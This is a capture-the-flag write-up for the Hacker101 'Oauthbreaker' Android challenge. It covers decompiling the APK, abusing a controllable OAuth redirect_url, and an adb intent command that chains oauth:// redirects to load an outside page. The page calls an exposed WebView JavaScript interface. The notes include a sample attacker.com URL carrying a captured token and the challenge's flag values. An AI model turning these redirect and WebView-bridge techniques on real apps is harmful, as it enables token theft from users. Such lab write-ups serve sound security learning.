Hacker1 CTF - Oauthbreaker

Another Android CTF - Including Live Stream solution on Twitch!

Just by the name of the challenge, we can tell we'll be dealing with OAuth. If you're not familiar with it, the summary is:

An open protocol to allow secure authorization in a simple and standard method from web, mobile and desktop applications.

For this challenge, I livestreamed it on Twitch for something different. If you'd rather watch than read, the full video (3 hours!) should stay up for a week or two, and the "highlights" which I hastily clipped together should remain for longer than that.

So, let's download the APK, decompile it with the handy apktool, and poke around.

    new-instance v0, Ljava/lang/StringBuilder;
    invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    const-string v1, "http://35.190.155.168/960f7e3cb7/oauth?redirect_url="
    invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    iget-object v1, p0, Lcom/hacker101/oauth/MainActivity;->authRedirectUri:Ljava/lang/String;
    sget-object v2, Ljava/nio/charset/StandardCharsets;->UTF_8:Ljava/nio/charset/Charset;
    invoke-virtual {v2}, Ljava/nio/charset/Charset;->toString()Ljava/lang/String;
    move-result-object v2
    invoke-static {v1, v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    move-result-object v1
    invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    const-string v1, "login&response_type=token&scope=all"
    invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

This code snippet stands out, constructing a url http://{host}/960f7e3cb7/oauth?redirect_url=login&response_type=token&scope=all. Why not just browse that URL and see what we get?

<a href="login?token=^FLAG^{flag}$FLAG$">Authorize Mobile Application</a>

Well that was easy, FLAG0!

Next let's have a look at what else we can find. There seems to be some interesting data in WebbAppInterface.smali, in a method called .method public getFlagPath()Ljava/lang/String;. With the word "flag" in the name, there is bound to be something good to find. There is an array initialized with some bytes (abbreviated here):

:array_0
.array-data 4
    0xae
    0x5f
    0xa
    ...
.end array-data

Before even trying to deduce what this data does, let's look at how it is used. WebAppInterface is utilized by the Browser class that creates and renders a WebView.

    invoke-direct {v1, v2}, Lcom/hacker101/oauth/WebAppInterface;-><init>(Landroid/content/Context;)V
    const-string v2, "iface"
    invoke-virtual {v0, v1, v2}, Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

So what does addJavascriptInterface do? [The Android Developer documentations]() explains:

addJavascriptInterface
Added in API level 1

public void addJavascriptInterface (Object object, String name)

Injects the supplied Java object into this WebView. The object is injected
into all frames of the web page, including all the iframes, using the
supplied name. This allows the Java object's methods to be accessed from
JavaScript.

So the code is making available an object, named "iface", for Javascript to be able to use. The Javascript can call methods on the Java object, for example, calling iface.getFlagPath(). Where is this Javascript? Well, it's whatever is loaded when the app is told what URL to open.

In the notes below, the page I craft to load and execute the exposed Javascript could/should have made its own link where the href attribute took us right to the "secret" page, but I had been livestreaming for 3 hours at that point and I was out of gas. We got the flag, that's all that mattered at that time.

Later!


Raw notes from during livestream:

OAuthBreaker

AndroidManifest.xml

  1. Intent filter for action VIEW, scheme "oauth" for the Browser Activity
  2. Intent filter for action VIEW, scheme "oauth" for the MainActivity Activity

Main Activity

  1. MainActivity
  2. Manifest exports Intent Filters for "oauth://login", and "oauth://final"
  3. MainActivity is a layout with one button labeled "Authenticate"
  4. setOnClickListener for that button, with code to:
    • confirm that the view clicked on is our button
    • start with a url of "http://34.74.105.127/d612611276/oauth?redirect_url="
    • append the value of the outer class's member variable: MainActivity.authRedirectUri
    • append "login&response_type=token&scope=all"
    • If all goes well (URL encoding that result), then we create an Intent, with type View, and data is the URI we created be appending pieces above

http://34.74.105.127/d612611276/oauth?redirect_url=<authRedirectUri>login&response_type=token&scope=all

Browser Activity

  1. One view in the layout, it's a WebView
  2. Found a URL in the source: http://34.74.105.127/d612611276/authed
  3. Get the WebView
  4. Enable Javascript!
  5. Add a Javascript interface (WebAppInterface) named iface

WebAppInterface

  1. Has an array of some kind of data
  2. Performs some kind of encoding/decoding/manipulation??
  3. All in the one method it exposes (to Javascript) named getFlagPath

Follow up on MainActivity onClick

  1. It appears that we can set the redirect_uri query param on the OAUTH call to whatever we want. That means we can control the flow after authorization via OAUTH.
  2. authRedirectUri is controllable by us, used in forming the OAUTH params

Messing around

http://attacker.com/login?token=^FLAG^fcb88f6aa26000cceb148eb6083a604859c5d1af619b2ed8a484fb5585e6cd55$FLAG$

Plan from here

  1. Confirm we can redirect the app after authorization
    • adb shell am start -a android.intent.action.VIEW -d "oauth://login/?redirect_uri=https://leeadams.dev/" com.hacker101.oauth
  2. Create a web page to redirect to
  3. Create some javascript in that page, that will call iface.getFlagPath()
  4. See what we get
    • Our page gets opened in Chrome, not the WebView in the app, that exposes "iface"
    • Change it to two steps, the first URI we pass as redirect_uri is another oauth:// uri with parameter uri as our controlled resources, which will allow us to re-open the app and load our resources in the WebView, not Chrome or some external browser.
  5. profit

Final command to invoke:

adb shell am start -a android.intent.action.VIEW -d "oauth://login/?redirect_uri=oauth://final/?uri=https://leeadams.dev/" com.hacker101.oauth

Test page

<html>
  <head>
  </head>
  <body>
    <h1>Oh hai there!</h1>
    <p id="msg">Testing</p>
    <script type="text/javascript">
      var msg = document.getElementById("msg");
      msg.innerHTML = iface.getFlagPath();
    </script>
  </body>
</html>